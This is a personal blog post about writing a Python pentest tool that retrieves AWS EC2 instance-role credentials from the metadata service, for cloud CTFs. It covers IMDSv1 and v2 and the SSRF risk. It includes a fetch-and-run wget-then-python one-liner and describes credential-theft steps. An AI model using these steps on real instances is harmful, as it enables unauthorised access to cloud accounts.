Coding an AWS Pentest Tool
Nov 11, 2022 - ⧖ 8 minOutdated
This is an older post. I'm keeping it for sentimental reasons. You still might find value but there are probably better learning resources if that is your primary goal
Coding an AWS Pentest Tool: Stealing EC2 Instance Role Credentials (IMDSv1 & IMDSv2 compatible)
I've been doing some AWS CTFs recently for Pentesting.cloud and I've gotten hooked on it enough to where Iāve moved up to #3 on the leaderboard.
A common task I need to do is to curl the meta-data service or otherwise retrieve temporary credentials for lateral movement.
Today I want to take some time to write some Python scripts to host on my Github and then pull down with one-liners. I want it to be as seamless as possible, and only use the tools available on an EC2 instance by default. Iāll hopefully be able to reuse the script a lot and save myself some future workflow headaches.
TLDR: Hereās the code https://github.com/lmoratti/moratti-cloud-toolkit
I'm going to be detailing my process for coding the script in this blog post. My hope is that it might be helpful for beginners looking to make their own tools or who are trying to understand the basics of EC2 Instance Metadata Service.
First, though, we should start with some background that's honestly hard to gather as a beginner to AWS. "What is the Metadata service and what are IMDSv1 and IMDSv2?"
Part 0: Some background context
Instance metadata is data about your instance that you can use to configure or manage the running instance. Instance metadata is divided into categories, for example, host name, events, and security groups.
ā¦.
You can also use instance metadata to access user data that you specified when launching your instance.
ā¦
Although you can only access instance metadata and user data from within the instance itself, the data is not protected by authentication or cryptographic methods. Anyone who has direct access to the instance, and potentially any software running on the instance, can view its metadata.
ā¦.
The examples in this section use the IPv4 address of the instance metadata service: 169.254.169.254. If you are retrieving instance metadata for EC2 instances over the IPv6 address, ensure that you enable and use the IPv6 address instead: fd00:ec2::254.
From <https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html>
The service runs on a link-local IP address and is unique to every single EC2 instance.
From <https://www.trendmicro.com/cloudoneconformity/knowledge-base/aws/EC2/require-imds-v2.html>
This means that from an EC2 instance if we can interact with the instance metadata service (IMDS) AND if the EC2 instance has a role assigned to it ā we can obtain temporary credentials for that role.
Thereās also some nuance here. There are two versions of IMDS. Back in the day, there was a single IMDS version that only required you to make a single HTTP GET request to the service. This introduced some major risks, such as, if you had a web server with a Server Side Request Forgery (SSRF) vulnerability you could force that web server to make a GET request and give you temporary credentials. With those, you would have an initial foothold in an AWS environment.
This was not hypothetical either. There were real-world examples of this happening such as the Capital One breach.
As a direct response to this threat vector, AWS announced IMDSv2 on November 19, 2019. Which requires an HTTP PUT request to establish a token to use in subsequent requests to the metadata service. This makes it more difficult for vectors plaguing IMDv1 like WAF misconfigurations, open reverse proxies, and of course SSRF.
IMDSv2 uses session-oriented requests. With session-oriented requests, you create a session token that defines the session duration, which can be a minimum of one second and a maximum of six hours. During the specified duration, you can use the same session token for subsequent requests. After the specified duration expires, you must create a new session token to use for future requests.
From <https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html>
You can read more about the design of IMDv2 through the official announcement here.
Part 1: Setup of the dev environment
First, letās create an EC2 instance with the most common setup Amazon Linux 2 (AL2).

Then weāre going to use an Instance profile so we can hit the meta-data service. If you donāt have any profiles, you can make them by clicking on the āCreate new IAM profileā button under āAdvanced Detailsā.

I made an instance profile called āAdministratorEc2ā and used the AdministratorAccess policy to give it full admin.

Further down in āAdvanced Optionsā weāre going to select v2 where a token is required. Weāll come back around and modify our script later with a v1 setup. Ideally, we want our script to try both use cases.

Then I launched the instance and used the console to connect. Iām going to be lazy about this but there are plenty of ways you can connect such as SSH, SSM, etc.

Iām using EC2 instance connect since itās easiest.

Part 2: The curling proof of concept
Now that weāre connected letās use the very helpful curl command that AWS provides in its documentation to hit the metadata service.
Sidenote: I cannot include the actual CURL commands in this post. Apparently when I try to save them Medium tells me itās impossible to save my draft. Sorry folks.


You can see we can make a successful request by telling curl to include that token as a header āX-aws-ec2-metadata-tokenā.
You might be asking yourself⦠alright but where are the creds? The example from AWS doesnāt tell you how to do that directly, so you need to piece it together from the documentation

So letās modify the curl request to be to http://169.254.169.254/iam/security-credentials/AdministratorEc2

Well, shoot, why is that? Well if you look at the original screenshot you can see those folders. Whatās inside them?


Oh, a meta-data endpoint. But we need to find the folder with the most up-to-date name which is a pain.
A trick weāre going to use instead is ā/latest/ā which will pick the most up-to-date one for us.


Awesome we get credentials that way. Now letās write a python script to automate this and dump it into a file. Why Python? Partly because Iām most familiar with it, and partly because itās supported by default on AL2 with the requests library already there for us to use
NOTE: AL2 has both Python2 and Python3 supported, but only python2 has requests already imported from the testing I did.
Part 3: Writing the Code
For an excellent baseline to get started, weāre going to use this website. https://curlconverter.com/

Weāre going to do that for both curl attempts and then weāre going to make it more modular as we go.


Excellent, now we need to pass in a role name.
Well wait a minute though⦠maybe thereās a way to get the role name dynamically?

Now weāre making a call to the security-credentials endpoint and saving the response as the ec2role to then pass into the call for credentials.
An assumption I am making is that there is only one IAM role attached. To be extra sure, I looked it up.

So we should be good to go. One thing that I do want to add now though is some try except clauses to prevent it from erroring out.

Now Iām realizing something though. Iām repeating myself a lot. I want to make a function to wrap around the requests.

This should help condense the code and allow me to adapt it for other things if necessary.
After wrapping those calls and making some nice print statements to be helpful, this is what our code is starting to look like.


I tossed it up onto GitHub for our next trick ā weāre going to be retrieving the script and then running it with a single command that I can copy and paste when Iām lazy.
Speaking of being lazy. One of the lesser talked about things is just how much of a pain it is when youāre using multiple terminals at once and you need to add these temporary credentials quickly. I want this script to give me a one-liner to copy and paste into a Kali terminal and add the credentials to my AWS credentials file.

This is some dirty code, but the output is looking good! Thatās something that doesnāt get talked about enough for the professional pentesting side of things. Often we just need a proof of concept at the moment and we promise ourselves weāll circle back around later to make it pretty.

When we take that one-liner over to kali we can see that it adds it to our ~/.aws/credentials file as a new profile

Cat ~/.aws/credentials

This has definitely come a long way but I also happen to use PowerShell quite a bit and I want a one-liner for that too.

Awesome itās now working.


Now we just need a one-liner on our EC2 so we can download the script and then run it quickly.
wget https://raw.githubusercontent.com/lmoratti/moratti-cloud-toolkit/main/main.py && python main.py

Boom it works.
Now letās go look at IMDSv1 to see if it is backward compatible. Iām creating a new instance with the same profile and the only change is that its v1

It says that the token is optional, which means I think it might still work.

Well, look at that. It still works and now we got a pretty sweet tool for years to come.
The next thing Iāll be looking at making is a python script for those times when you can create and invoke a lambda function and you want to steal the credential for the role attached to it.
After that, Iāll be making a PHP page to return credentials for situations where you have a PHP web application hosted on EC2 and the ability to upload a file. Maybe JavaScript too.
I hope this post was helpful, or at the very least, interesting.